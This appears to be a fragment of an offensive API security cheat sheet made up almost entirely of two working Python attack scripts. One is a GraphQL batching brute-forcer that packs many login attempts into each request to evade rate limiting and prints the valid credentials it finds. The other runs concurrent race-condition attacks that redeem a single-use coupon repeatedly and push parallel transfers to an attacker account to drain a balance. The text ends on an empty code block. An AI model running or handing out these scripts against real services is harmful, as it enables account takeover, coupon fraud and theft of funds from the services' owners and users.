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Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting:

```python
#!/usr/bin/env python3
"""GraphQL batching for authentication brute-force amplification."""
import requests, json, sys

TARGET = "https://target.example.com/graphql"
BATCH_SIZE = 50

def run_batch_brute(email, wordlist_path):
    with open(wordlist_path) as f:
        passwords = [line.strip() for line in f if line.strip()]

    for i in range(0, len(passwords), BATCH_SIZE):
        batch = passwords[i:i + BATCH_SIZE]
        payload = [
            {"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'}
            for j, pwd in enumerate(batch)
        ]
        resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"})
        if resp.status_code == 429:
            print(f"[!] Rate limited at batch index {i}")
            break
        for j, result in enumerate(resp.json()):
            if result.get("data", {}).get("login", {}).get("success"):
                print(f"[+] Valid: {email}:{batch[j]}")
                return
        print(f"  Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request")

if __name__ == "__main__":
    run_batch_brute(sys.argv[1], sys.argv[2])

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#!/usr/bin/env python3
"""Race condition testing for API transaction abuse."""
import asyncio, aiohttp

TARGET = "https://target.example.com/api/v1"
TOKEN = "YOUR_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}

async def send_request(session, url, data=None):
    async with session.post(url, json=data, headers=HEADERS) as resp:
        body = await resp.json()
        return {"status": resp.status, "body": body}

async def race_coupon_redeem(coupon_code, n=20):
    """Redeem a single-use coupon multiple times via race condition."""
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, f"{TARGET}/cart/coupon",
                              {"coupon_code": coupon_code}) for _ in range(n)]
        results = await asyncio.gather(*tasks)
        successes = [r for r in results if r["status"] == 200]
        print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times")

async def race_balance_transfer(n=20):
    """Drain account by sending parallel transfers exceeding balance."""
    async with aiohttp.ClientSession() as session:
        tasks = [send_request(session, f"{TARGET}/transfers",
                              {"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"})
                 for _ in range(n)]
        results = await asyncio.gather(*tasks)
        successes = [r for r in results if r["status"] in (200, 201)]
        total = sum(r["body"].get("amount", 0) for r in successes)
        print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}")

if __name__ == "__main__":
    asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON"))
    asyncio.run(race_balance_transfer())

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```bash

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